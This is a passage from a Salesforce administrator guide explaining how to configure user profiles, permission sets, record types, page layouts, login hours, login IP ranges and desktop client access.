Working in the Enhanced Profile User Interface Overview Page

534

User Management

User Profiles Overview

Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit object permissions and settings:

Manage Users
AND
Customize Application

In the enhanced profile user interface, Record Types and Page Layout Assignments settings determine the record type and
page layout assignment mappings that are used when users view records. They also determine which record types are available
when users create or edit records.
To specify record types and page layout assignments:
1.
2.
3.
4.
5.

Click Your Name > Setup > Manage Users > Profiles.
Select a profile.
In the Find Settings... box, enter the name of the object you want and select it from the list.
Click Edit.
In the Record Types and Page Layout Assignments section, make changes to the settings as needed.
Setting

Description

Record Types

Lists all existing record types for the object.


--Master-- is a system-generated record type that's used when a record has
no custom record type associated with it. When --Master-- is assigned, users

can't set a record type to a record, such as during record creation. All other record
types are custom record types.
Page Layout Assignment

The page layout to use for each record type. The page layout determines the
buttons, fields, related lists, and other elements that users with this profile see
when creating records with the associated record type. Since all users can access
all record types, every record type must have a page layout assignment, even if
the record type isn't specified as an assigned record type in the profile.

Assigned Record Types

Record types that are checked in this column are available when users with this
profile create records for the object. If --Master-- is selected, you can't select
any custom record types; and if any custom record types are selected, you can't
select --Master--.

Default Record Type

The default record type to use when users with this profile create records for the
object.

The Record Types and Page Layout Assignments settings have some variations for the following objects or tabs.

535

User Management

User Profiles Overview

Object or Tab

Variation

Accounts

If your organization uses person accounts, the accounts object additionally includes
Business Account Default Record Type and Person Account Default Record
Type settings, which specify the default record type to use when the profile's
users create business or person account records from converted leads.

Cases

The cases object additionally includes Case Close settings, which show the page
layout assignments to use for each record type on closed cases. That is, the same
record type may have different page layouts for open and closed cases. With this
additional setting, when users close a case, the case may have a different page
layout that exposes how it was closed.

Home

You can't specify custom record types for the home tab. You can only select a
page layout assignment for the --Master-- record type.

6. Click Save.

See Also:
Managing Record Types
Managing Page Layouts

Working with App Permissions in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view app permissions:

View Setup and Configuration

To edit app permissions:

Manage Users

App permissions control what users can do within an app. For example, The Import Leads permission allows users to import
leads in a sales app, while Manage Cases allows users to manage cases in a call center app.
On the App Permissions page in the enhanced profile user interface, you can:

Change the app permissions by clicking Edit


Note: Editing some permissions may automatically cause other permissions to be enabled or disabled. In some
cases, affected permissions are enabled or disabled on a separate page, so the change may not be immediately
apparent. For example, enabling the Transfer Leads app permission automatically enables the Read and Create
object permissions for leads.

Search for an object, permission, or setting


Clone the profile
If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete

536

User Management

User Profiles Overview

Change the profile name or description by clicking Edit Properties


Go to the profile overview page by clicking Profile Overview
Switch to a different settings page by clicking the down arrow next to the App Permissions name and selecting the page
you want

See Also:
User Permissions
Working in the Enhanced Profile User Interface Overview Page

Working with Apex Class Access in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view Apex class access settings:

View Setup and Configuration

To edit Apex class access settings:

Manage Users

On the Apex Class Access page in the enhanced profile user interface, you can:

Change the Apex class access settings


Search for an object, permission, or setting
Clone the profile
If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete
Change the profile name or description by clicking Edit Properties
Go to the profile overview page by clicking Profile Overview
Switch to a different settings page by clicking the down arrow next to the Apex Class Access name and selecting the page
you want

See Also:
Apex Class Security Overview
Apex Code Overview
Working in the Enhanced Profile User Interface Overview Page

537

User Management

User Profiles Overview

Working with Visualforce Page Access in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view Visualforce page access settings:

View Setup and Configuration

To edit Visualforce page access settings:

Manage Users

On the Visualforce Page Access page in the enhanced profile user interface, you can:

Change the Visualforce page access settings


Search for an object, permission, or setting
Clone the profile
If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete
Change the profile name or description by clicking Edit Properties
Go to the profile overview page by clicking Profile Overview
Switch to a different settings page by clicking the down arrow next to the Visualforce Page Access name and selecting the
page you want

See Also:
Visualforce Page Security Overview
Visualforce Overview
Working in the Enhanced Profile User Interface Overview Page

Working with System Permissions in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view system permissions:

View Setup and Configuration

To edit system permissions:

Manage Users

System permissions control users' ability to perform tasks that apply to all appssuch as Modify All Dataor tasks that
don't apply to any appssuch as API Only User.
On the System Permissions page in the enhanced profile user interface, you can:

Change the system permissions by clicking Edit

538

User Management

User Profiles Overview

Note: Editing some permissions may automatically cause other permissions to be enabled or disabled. In some
cases, affected permissions are enabled or disabled on a separate page, so the change may not be immediately
apparent. For example, enabling the View All Data system permission automatically enables the Read object
permission for all objects.

Search for an object, permission, or setting


Clone the profile
If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete
Change the profile name or description by clicking Edit Properties
Go to the profile overview page by clicking Profile Overview
Switch to a different settings page by clicking the down arrow next to the System Permissions name and selecting the page
you want

See Also:
User Permissions
Working in the Enhanced Profile User Interface Overview Page

Working with Desktop Client Access in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view desktop client access settings:

View Setup and Configuration

To edit desktop client access settings:

Manage Users

Connect for Outlook, Connect Offline, Connect for Office, and Connect for Lotus Notes are desktop clients that integrate
Salesforce with your PC. As an administrator, you can control which desktop clients your users can access as well as whether
users are automatically notified when updates are available.
Note: To access desktop clients, users must also have the API Enabled permission.

On the Desktop Client Access page in the enhanced profile user interface, you can:

Change the desktop client access settings by clicking Edit


Search for an object, permission, or setting
Clone the profile
If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete
Change the profile name or description by clicking Edit Properties
Go to the profile overview page by clicking Profile Overview

539

User Management

User Profiles Overview

Switch to a different settings page by clicking the down arrow next to the Desktop Client Access name and selecting the
page you want

See Also:
Desktop Client Access Overview
Working in the Enhanced Profile User Interface Overview Page

Working with Login Hours in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view login hour settings:

View Setup and Configuration

On the Login Hours page in the enhanced profile user interface, you can:

View and edit the hours when users can log in


Search for an object, permission, or setting
Clone the profile
If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete
Change the profile name or description by clicking Edit Properties
Go to the profile overview page by clicking Profile Overview
Switch to a different settings page by clicking the down arrow next to the Login Hours name and selecting the page you
want

See Also:
Setting Login Restrictions
Working in the Enhanced Profile User Interface Overview Page

Viewing and Editing Login Hours in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view login hour settings:

View Setup and Configuration

To edit login hour settings:

Manage Users

For each profile, you can specify the hours when users can log in.

540

User Management

1.
2.
3.
4.
5.

User Profiles Overview

Click Your Name > Setup > Manage Users > Profiles.
Select a profile.
In the profile overview page, click Login Hours.
To change the login hours, click Edit.
Set the days and hours when users with this profile can log in to the organization.
To allow users to log in at any time, click Clear All Times. To prohibit users from using the system on a specific day, set
the start and end times to the same value.
If a user logs in before the restricted hours, the system ends the users session when the restricted hours begin.
Note: The first time login hours are set for a profile, the hours are based on the organization's Default Time Zone
as specified at Your Name > Setup > Company Profile > Company Information. After that, any changes to the
organization's Default Time Zone won't change the time zone for the profile's login hours. As a result, the login
hours are always applied at those exact times even if a user is in a different time zone or if the organization's default
time zone is changed.
Depending on whether you're viewing or editing login hours, the hours may appear differently. On the Login Hours
detail page, hours are shown in your specified time zone. On the Login Hours Edit page, they appear in the
organization's original default time zone.

Working with Login IP Ranges in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view login IP ranges:

View Setup and Configuration

For each profile, you can view and specify the IP addresses from which users can log in. When you define IP address restrictions
for a profile, any login from an undesignated IP address is denied, and any login from a specified IP address is allowed.
On the IP Ranges page in the enhanced profile user interface, you can:

Edit or delete login IP address ranges


Search for an object, permission, or setting
Clone the profile
If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete
Change the profile name or description by clicking Edit Properties
Go to the profile overview page by clicking Profile Overview

541

User Management

User Profiles Overview

Switch to a different settings page by clicking the down arrow next to the Login IP Ranges name and selecting the page
you want

See Also:
Restricting Login IP Ranges for Your Organization
Setting Login Restrictions
Working in the Enhanced Profile User Interface Overview Page

Editing Login IP Ranges in the Enhanced Profile User Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view login IP ranges:

View Setup and Configuration

To edit login IP ranges:

Manage Users

To delete login IP ranges:

Modify All Data

For each profile, you can view and specify the IP addresses from which users can log in. When you define IP address restrictions
for a profile, any login from an undesignated IP address is denied, and any login from a specified IP address is allowed. To
view and edit IP address ranges in the enhanced profile user interface:
1.
2.
3.
4.

Click Your Name > Setup > Manage Users > Profiles.
Select a profile.
In the profile overview page, click Login IP Ranges.
Use any of these methods to change login IP address ranges for the profile.

Click Add IP Ranges. Enter a valid IP address in the IP Start Address and a higher IP address in the IP End
Address field. The start and end addresses define the range of allowable IP addresses from which users can log in.
To allow logins from a single IP address, enter the same address in both fields. For example, to allow logins from only
125.12.3.0, enter 125.12.3.0 as both the start and end addresses.
To change or remove an existing IP address range, click Edit or Delete for that range.

Both IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address
space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is
255.255.255.255. A range can't include IP addresses inside of the IPv4-mapped IPv6 address space if it also includes
IP addresses outside of the IPv4-mapped IPv6 address space. Ranges such as 255.255.255.255 to ::1:0:0:0 or ::
to ::1:0:0:0 are not allowed. You can set up IPv6 addresses in all organizations, but IPv6 is only enabled for login in
sandbox organizations for the Spring '12 release.

542

User Management

User Profiles Overview

Note: The mobile application bypasses IP range definitions set up for profiles. When accessing dashboards and
Visualforce pages, the mobile application initiates a secure connection to Salesforce over the mobile carrier's network,
but the mobile carrier's IP addresses might be outside of the IP ranges allowed on the user's profile.

See Also:
Restricting Login IP Ranges for Your Organization
Setting Login Restrictions
Setting Session Security
Administrator setup guide: Security Implementation Guide

Working with Service Provider Settings in the Enhanced Profile User Interface
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view service provider settings:

View Setup and Configuration

To edit service provider settings:

Manage Users
AND
Customize Application

An identity provider is a trusted provider that enables users to use single sign-on to access other websites. A service provider
is a website that hosts applications. If you have enabled Salesforce as an identity provider and defined one or more service
providers, you can enable access to certain service providers for individual profiles.
On the Service Providers page in the enhanced profile user interface, you can:

Change the service provider settings by clicking Edit


Search for an object, permission, or setting
Clone the profile
If it's a custom profile that's not assigned to any users, delete the profile by clicking Delete
Change the profile name or description by clicking Edit Properties
Go to the profile overview page by clicking Profile Overview
Switch to a different settings page by clicking the down arrow next to the Service Providers name and selecting the page
you want

See Also:
About Identity Providers and Service Providers
Working in the Enhanced Profile User Interface Overview Page

543

User Management

User Profiles Overview

Working with Profiles in the Original Profile Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
The settings that are available on the profile detail page vary according to your Edition.

To view a profile, click Your Name > Setup > Manage Users > Profiles, then select the profile you want.
On the profile detail page, you can:

Edit the profile


Create a profile based on this profile
For custom profiles only, click Delete to delete the profile
View the users who are assigned to this profile

See Also:
User Profiles Overview
Viewing and Managing Users
Overview of User Permissions and Access

Editing Profiles in the Original Profile Interface


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To edit profiles:

Manage Users
AND
Customize Application

You can edit all settings in a custom profile. In standard profiles, you can edit all settings except name, description, object
permissions, field permissions, and user permissions.
1. Click Your Name > Setup > Manage Users > Profiles.
2. Select the profile you want to edit.
3. On the profile detail page, click Edit to change any of the following settings:

For custom profiles only, the name and description


App visibility settings
Tab visibility settings
For custom profiles only, administrative and general permissions
For custom profiles only, object permissions

544

User Management

User Profiles Overview

Note: Editing some permissions may automatically cause other permissions to be enabled or disabled. For
example, enabling View All Data automatically enables Read for all objects. Likewise, enabling Transfer
Leads automatically enables Read and Create on leads.
Tip: If enhanced profile list views are enabled for your organization, you can change permissions for multiple
profiles from the list view.

Desktop client access settings

You can also view or edit the following settings from the profile detail page:
Setting

Procedure to View or Edit

Console layouts for all profiles

Under the Console Settings section, click Edit.

Page layouts

Under the Page Layouts section, click View Assignment next


to an object name.

Access to fields in each object

Under the Field-Level Security section, click View next to an


object name.

Record types

Under the Record Type Settings section, click Edit next to a


tab name. The Edit link is available only if record types exist
for the object.

Login hours

Under the Login Hours section, click Edit.

Login IP address ranges

Under the Login IP Ranges section, click New, or click Edit


next to an existing IP range.

Executable Apex classes

Under the Enabled Apex Class Access section, click Edit.

Executable Visualforce pages

Under the Enabled Visualforce Page Access section, click


Edit.

Assigning Record Types to Profiles in the Original Profile User Interface


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To assign record types to profiles:

Customize Application

After creating record types and including picklist values in them, add record types to user profiles and assign a default record
type for each profile. When you add a record type to a profile, users with that profile can assign that record type to records
they create or edit.

545

User Management

User Profiles Overview

Note: Any user can view records having any record type, even if the record type is not associated with their profile.

A profile can be associated with several record types. For example, a user who creates opportunities for both hardware and
software sales can have both Hardware and Software record types available when creating opportunities if both record
types have been added to the users profile.
1.
2.
3.
4.

Click Your Name > Setup > Manage Users > Profiles.
Select a profile. The record types available for that profile are listed in the Record Type Settings section.
Click Edit next to the appropriate type of record.
Select a record type from the Available Record Types list and add it to the Selected Record Types list to make it available
to users with that profile.
Master is a system-generated record type that's used when a record has no custom record type associated with it. When
Master is assigned, users can't set a record type to a record, such as during record creation. All other record types are
custom record types.

5. From the Default drop-down list, choose a default record type.


If your organization uses person accounts, this setting also controls which account fields display in the Quick Create
area of the accounts home page.
6. If your organization uses person accounts, set additional options for the default record types for both person accounts and
business accounts. These settings are used when defaults are needed for both kinds of accounts, such as when converting
leads.

From the Business Account Default Record Type drop-down list, choose a default record type for business
accounts.
From the Person Account Default Record Type, choose a default record type for person accounts.

7. Click Save.
Options in the Record Type Settings section are blank wherever no record types exist. For example, if you have two record
types for opportunities but no record types for accounts, the Edit link only displays for opportunities. In this example, the
picklist values and default value for the master are available in all accounts.
Note: If your organization uses person accounts, you can view the record type defaults for business accounts and
person accounts in the Account Record Type Settings section of the profile detail page. Also, clicking Edit in that
section is an alternative way of opening the page where you set record type defaults for accounts. For more information,
see What is a Person Account? on page 68.

See Also:
Managing Record Types
Setting Record Type Preferences

546

User Management

User Profiles Overview

Assigning Page Layouts in the Original Profile User Interface


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To assign page layouts:

1.
2.
3.
4.
5.

Manage Users

Click Your Name > Setup > Manage Users > Profiles.
Select a profile.
Click View Assignment next to any tab name in the Page Layouts section.
Click Edit Assignment.
Use the table to specify the page layout for each profile. The table displays the page layout assignments for each profile. If
your organization uses record types, a matrix displays a page layout selector for each profile and record type.
When selecting page layout assignments:

Click a cell, column, or row heading to select all the table cells in that column or row.
Press SHIFT+click to select multiple adjacent table cells, columns, or rows.
Press CTRL+click to select multiple nonadjacent table cells, columns, or rows.
Click any cell and drag to select a range of cells.
Click Next or Prev to view another set of record types.

Selected page layout assignments are highlighted. Page layout assignments you change are italicized until you save your
changes.
6. If necessary, select another page layout to assign from the Page Layout To Use drop-down list and repeat the previous
step for the new page layout.
7. Click Save.

See Also:
Assigning Page Layouts

Desktop Client Access Overview


Available in: Enterprise, Unlimited, and Developer Editions

Connect for Outlook, Connect Offline, Connect for Office, and Connect for Lotus Notes are desktop clients that integrate
Salesforce with your PC. As an administrator, you can control which desktop clients your users can access as well as whether
users are automatically notified when updates are available. To set permissions for Salesforce for Outlook, use the Manage
Email Client Configurations permission.
In Enterprise, Unlimited, and Developer Editions, you can set users' access to desktop client by editing their profiles. Use the
method for the profile user interface you have enabled.

547

User Management

User Profiles Overview

Set desktop client access in the enhanced profile user interface


Set desktop client access in the original profile user interface

The desktop client access options are:


Option

Meaning

Off (access denied)

The respective client download page at Your Name > Setup > Desktop
Integration is hidden. Also, users can't log in from the client.

On, no updates

The respective client download page at Your Name > Setup > Desktop
Integration is hidden. Users can log in from the client but can't upgrade
it from their current version.

On, updates w/o alerts

Users can download, log in from, and upgrade the client, but don't see
alerts when a new version is made available.

On, updates w/alerts

Users can download, log in from, and upgrade the client. They can see
update alerts, and can follow or ignore them.

On, must update w/alerts

Users can download, log in from, and upgrade the client. When a new
version is available, they can see an update alert. They can't log in from
the client until they have upgraded it.

Connect Offline is the only client available with Developer Edition. In Personal, Group, and Professional Editions, all users
have the system default On, updates w/o alerts for all clients.
Note:

Desktop client access is available only for users whose profiles have the API Enabled permission.
If users in your organization have a Connect for Outlook version earlier than 2.0 (such as version 115), and their
profile setting is Off (access denied) or On, must update w/alerts, the error Invalid Salesforce API
request may occur when they attempt to log in to Connect for Outlook. Users with Connect for Outlook 2.0 or
later will see an appropriate descriptive message.

If users can see alerts and they have logged in to Salesforce from the client in the past, an alert banner automatically appears
in the Home tab when a new version is available. Clicking the banner opens the Check for Updates page, where users can
download and run installer files. Users can also click Your Name > Setup > Desktop Integration > Check for Updates,
regardless of whether an alert has occurred.

See Also:
Administrator tip sheet: Administering Salesforce Desktop Clients
Force.com Connect for Microsoft Outlook Overview
Force.com Connect Offline Overview
Force.com Connect for Microsoft Office Overview
Force.com Connect for Lotus Notes Overview

548

User Management

User Profiles Overview

Viewing and Editing Desktop Client Access in the Original Profile User Interface
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view desktop client access settings:

View Setup and Configuration

To edit desktop client access settings:

Manage Users

Connect for Outlook, Connect Offline, Connect for Office, and Connect for Lotus Notes are desktop clients that integrate
Salesforce with your PC. As an administrator, you can control which desktop clients your users can access as well as whether
users are automatically notified when updates are available.
Note: To access desktop clients, users must also have the API Enabled permission.

1. Click Your Name > Setup > Manage Users > Profiles.
2. Click Edit next to a profile name, and scroll to the Desktop Integration Clients section at the bottom of the page.

See Also:
Desktop Client Access Overview

Viewing and Editing Login Hours in the Original Profile User Interface
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To set login hours:

Manage Users

For each profile, you can specify the hours when users can log in.
1. Click Your Name > Setup > Manage Users > Profiles, and select a profile.
2. Click Edit in the Login Hours related list.
3. Set the days and hours when users with this profile can use the system.
To allow users to log in at any time, click Clear All Times. To prohibit users from using the system on a specific day, set
the start and end times to the same value.
If a user logs in before the restricted hours, the system ends the users session when the restricted hours begin.
4. Click Save.

549

User Management

User Profiles Overview

Note: The first time login hours are set for a profile, the hours are based on the organization's Default Time Zone
as specified at Your Name > Setup > Company Profile > Company Information. After that, any changes to the
organization's Default Time Zone won't change the time zone for the profile's login hours. As a result, the login
hours are always applied at those exact times even if a user is in a different time zone or if the organization's default
time zone is changed.
Depending on whether you're viewing or editing login hours, the hours may appear differently. On the profile detail
page, hours are shown in your specified time zone. On the Login Hours edit page, they appear in the organization's
default time zone.

See Also:
Setting Login Restrictions
Administrator setup guide: Security Implementation Guide

Viewing and Editing Login IP Address Ranges in the Original Profile User Interface
Available in: All Editions

User Permissions Needed


To view login IP ranges:

View Setup and Configuration

To edit login IP ranges:

Manage Users

To delete login IP ranges:

Modify All Data

You can set the IP addresses from which users with a particular profile can log in. When you define IP address restrictions
for a profile, any login from an undesignated IP address is denied, and any login from a specified IP address is allowed. To
set IP addresses on profiles:
1. The procedure you use to restrict the range of valid IP addresses on profiles depends on your Edition:

If you're using Enterprise Edition, Unlimited Edition, or Developer Edition, click Your Name > Setup > Manage
Users > Profiles, and select a profile.
For Professional Edition, Group Edition, and Personal Edition, click Your Name > Setup > Security Controls >
Session Settings.

2. Click New in the Login IP Ranges related list.


3. Enter a valid IP address in the IP Start Address and a higher IP address in the IP End Address field.
The start and end addresses define the range of allowable IP addresses from which users can log in. To allow logins from
a single IP address, enter the same address in both fields. For example, to allow logins from only 125.12.3.0, enter 125.12.3.0
as both the start and end addresses.

Partner User profiles are limited to 5 IP addresses. Contact salesforce.com to increase this limit.
The mobile application bypasses IP range definitions set up for profiles. When accessing dashboards and Visualforce
pages, the mobile application initiates a secure connection to Salesforce over the mobile carrier's network, but the
mobile carrier's IP addresses might be outside of the IP ranges allowed on the user's profile.

550

User Management

User Profiles Overview

4. Click Save.
Both IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6 address
space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff is
255.255.255.255. A range can't include IP addresses inside of the IPv4-mapped IPv6 address space if it also includes IP
addresses outside of the IPv4-mapped IPv6 address space. Ranges such as 255.255.255.255 to ::1:0:0:0 or :: to
::1:0:0:0 are not allowed. You can set up IPv6 addresses in all organizations, but IPv6 is only enabled for login in sandbox
organizations for the Spring '12 release.
Note: Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's profile
has restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources only
within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static
resources to expire from the Salesforce cache and any intermediate caches.

See Also:
Restricting Login IP Ranges for Your Organization
Setting Login Restrictions
Setting Session Security
Administrator setup guide: Security Implementation Guide

Viewing and Editing Assigned Apps in Profiles


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit app visibility settings:

Manage Users

Assigned app settings specify the apps that users can select in the Force.com app menu.
Every profile must have at least one visible app, except profiles associated with Customer Portal users because apps are not
available to them.
To specify app visibility:
1. Click Your Name > Setup > Manage Users > Profiles.
2. Select a profile.
3. Depending on which user interface you're using, do one of the following:

Enhanced profile user interfaceClick Assigned Apps, then click Edit.


Original profile user interfaceClick Edit, then scroll to the Custom App Settings section.

4. Select one default app. The default app appears when users log in for the first time.

551

User Management

User Profiles Overview

5. Select Visible for any other apps you want to make visible.

See Also:
What is an App?

Setting Login Restrictions


Available in: All Editions

To help protect your organization's data against unauthorized access, you have several options for setting login restrictions.
Login Hours
For each profile, you can set the hours when users can log in. See:

Viewing and Editing Login Hours in the Enhanced Profile User Interface on page 540
Viewing and Editing Login Hours in the Original Profile User Interface on page 549

Login IP Address Ranges


For each profile, you can set the IP addresses from which users can log in. See:

Editing Login IP Ranges in the Enhanced Profile User Interface on page 542
Viewing and Editing Login IP Address Ranges in the Original Profile User Interface on page 550

Organization-Wide Trusted IP Address List


For all users, you can set a list of IP address ranges from which they can always log in without receiving a login challenge.
See Restricting Login IP Ranges for Your Organization on page 670.
When users log in to Salesforce, either via the user interface, the API, or a desktop client such as Connect for Outlook,
Salesforce for Outlook, Connect Offline, Connect for Office, Connect for Lotus Notes, or the Data Loader, Salesforce confirms
that the login is authorized as follows:
1. Salesforce checks whether the user's profile has login hour restrictions. If login hour restrictions are specified for the user's
profile, any login outside the specified hours is denied.
2. Salesforce then checks whether the user's profile has IP address restrictions. If IP address restrictions are defined for the
user's profile, any login from an undesignated IP address is denied, and any login from a specified IP address is allowed.
3. If profile-based IP address restrictions are not set, Salesforce checks whether the user is logging in from an IP address they
have not used to access Salesforce before:

If the user's login is from a browser that includes a Salesforce cookie, the login is allowed. The browser will have the
Salesforce cookie if the user has previously used that browser to log in to Salesforce, and has not cleared the browser
cookies.
If the user's login is from an IP address in your organization's trusted IP address list, the login is allowed.
If the user's login is from neither a trusted IP address nor a browser with a Salesforce cookie, the login is blocked.

Whenever a login is blocked or returns an API login fault, Salesforce must verify the user's identity:

552

User Management

User Profiles Overview

For access via the user interface, the user is prompted to click a Send Activation Link button to send an activation email
to the address specified on the user's Salesforce record. The email instructs the user to copy and paste an activation link
into their browser to activate their computer for logging in to Salesforce. The activation link included in the email is valid
for up to 24 hours from the time the user clicked the Send Activation Link button. After 24 hours, the activation link
expires, and users must repeat the activation process to log in.
Note: A user will not be asked to activate the first time they log in to Salesforce.

For access via the API or a client, the user must add their security token to the end of their password in order to log in. A
security token is an automatically-generated key from Salesforce. For example, if a user's password is mypassword, and
their security token is XXXXXXXXXX, then the user must enter mypasswordXXXXXXXXXX to log in.
Users can obtain their security token by changing their password or resetting their security token via the Salesforce user
interface. When a user changes their password or resets their security token, Salesforce sends a new security token to the
email address on the user's Salesforce record. The security token is valid until a user resets their security token, changes
their password, or has their password reset.
Tip: We recommend that you obtain your security token using the Salesforce user interface from a trusted network
prior to attempting to access Salesforce from a new IP address.

Tips on Setting Login Restrictions


Consider the following when setting login restrictions:

When a user's password is changed, the user's security token is automatically reset. The user may experience a blocked
login until he or she adds the automatically-generated security token to the end of his or her password when logging in to
Salesforce via the API or a client.
Partner portal and Customer Portal users are not required to activate computers to log in.
For more information on API login faults, see the Core Data Types Used in API Calls topic in the SOAP API Developer's
Guide .
If single sign-on is enabled for your organization, API and desktop client users can't log into Salesforce unless their IP
address is included on your organization's list of trusted IP addresses or on their profile, if their profile has IP address
restrictions set. Futhermore, the single sign-on authority usually handles login lockout policies for users with the Is Single
Sign-On Enabled permission. However, if the security token is enabled for your organization, then your organization's
login lockout settings determine the number of times a user can attempt to log in with an invalid security token before
being locked out of Salesforce.
The following events count toward the number of times a user can attempt to log in with an invalid password before being
locked out of Salesforce, as defined in your organization's login lockout settings:
Each time a user is prompted to click the Send Activation Link button
Each time a user incorrectly adds their security token to the end of their password to log into the API or a client

See Also:
About Single Sign-On
Setting Password Policies
Resetting Your Security Token
Administrator setup guide: Security Implementation Guide

553

Permission Sets

Permission Sets Overview

Controlling Login Access


Available in: All Editions
Granting administrator access available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To control login access policies:

Manage Users

1. Choose Your Name > Setup > Security Controls > Login Access Policies.
2. To allow administrators to log in as any user in the organization without first asking end-users to grant login access to
them, enable Administrators Can Log in as Any User. This option is only available if salesforce.com has enabled it for
your organization. To request this feature, contact salesforce.com.
3. To prevent users from granting access to a publisher (to comply with regulatory or privacy concerns, for example), click
Available to Administrators Only for that publisher.
4. Click Save.
Consider these implementation restrictions.

Users cannot grant login access to managed packages that are licensed to your entire organization. Only administrators
with the Manage Users permission enabled on their profile can grant access to these publishers.
Login access is only available for certain managed packages. If the package is not listed, it is not available for granting login
access.

See Also:
Granting Login Access

PERMISSION SETS
Permission Sets Overview
Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Visualforce is not available in Database.com

A permission set is a collection of settings and permissions that give users access to various tools and functions. The settings
and permissions in permission sets are also found in profiles, but permission sets extend users' functional access without
changing their profiles. For example, to give users access to a custom object, create a permission set, enable the required

554

User Management

Overview of User Permissions and Access

permissions for the object, and assign the permission set to the users. You never have to change profiles, or create a profile for
a single use case. While users can have only one profile, they can have multiple permission sets.
Permission sets include settings for:

Assigned apps
Object settings, which include:
Tab settings
Object permissions
Field permissions

App permissions
Apex class access
Visualforce page access
System permissions
Service providers (only if you've enabled Salesforce as an identity provider)
Note:

Some user licenses restrict the number of custom apps or tabs a user can access. Salesforce calculates the total
number of settings for custom tabs and assigned apps in a users assigned profile plus any assigned permission sets.
For users with a license that restricts the number of apps or tabs, you can't assign more than the allotted limit
through their assigned profile and permission sets. For example, the Force.com - One App license allows one
assigned custom app per user. If a user with this license has a profile with one assigned custom app, you cant assign
that user a permission set that enables another custom app.
In Group and Professional Editions, permission sets may be included in installed packages, where they can be
viewed and assigned to users but not edited.

See Also:
Working in a Permission Set's Overview Page
Creating Permission Sets
Assigning Permission Sets
Overview of User Permissions and Access

Overview of User Permissions and Access


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User permissions and access settings specify what users can do within an organization. For example, permissions determine a
user's ability to edit an object record, view the Setup menu, empty the organizational recycle bin, or reset a user's password.
Access settings determine other functions, such as access to Apex classes, app visibility, and the hours when users can log in.
Permissions and access settings are specified in user profiles and permission sets. Every user is assigned only one profile, but
can also have multiple permission sets.

555

User Management

Overview of User Permissions and Access

When determining access for your users, it's a good idea to use profiles to assign the minimum permissions and access settings
for specific groups of users, then use permission sets to grant additional permissions.
Because you can assign many permission sets to users and permission sets are reusable, you can distribute access among more
logical groupings of users, regardless of their primary job function. For example, you can create a permission set that gives
read access to a custom object and assign it to a large group of users, and create another permission set that gives edit access
to the object and assign it to only a few users. You can assign these permission sets to various types of users, regardless of their
profiles.
The following table shows the types of permissions and access settings that are specified in profiles and permission sets. Some
profile settings aren't included in permission sets.
Permission or Setting Type

In Profiles?

In Permission Sets?

Assigned apps
Tab settings
Record type assignments
Page layout assignments
Object permissions
Field permissions
User permissions (app and system)
Apex class access
Visualforce page access
Service provider access (if Salesforce is
enabled as an identity provider)
Desktop client access
Login hours
Login IP ranges

See Also:
Permission Sets Overview
User Profiles Overview
Revoking Permissions and Access

556

User Management

Revoking Permissions and Access

Revoking Permissions and Access


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

You can use profiles and permission sets to grant access, but not to deny access. Any permission granted from either a profile
or permission set is honored. For example, if Transfer Record isn't enabled in Jane Smith's profile, but is enabled in two of
her permission sets, she can transfer records regardless of whether she owns them. To revoke a permission, you must remove
all instances of the permission from the user. You can do this with the following actionseach has possible consequences.
Action

Consequence

Disable a permission or remove an access setting in the profile The permission or access setting is disabled for all other users
and any permission sets that are assigned to the user.
assigned to the profile or permission sets.
If a permission or access setting is enabled in the user's profile, The user may lose other permissions or access settings
assign a different profile to the user.
associated with the profile or permission sets.
AND
If the permission or access setting is enabled in any permission
sets that are assigned to the user, remove the permission set
assignments from the user.

To resolve the consequence in either case, consider all possible options. For example, you can clone the assigned profile or any
assigned permission sets where the permission or access setting is enabled, disable the permission or access setting, and assign
the cloned profile or permission sets to the user. Another option is to create a base profile with the least number of permissions
and settings that represents the largest number of users possible, then create permission sets that layer additional access.

See Also:
Assigning Permission Sets
Overview of User Permissions and Access
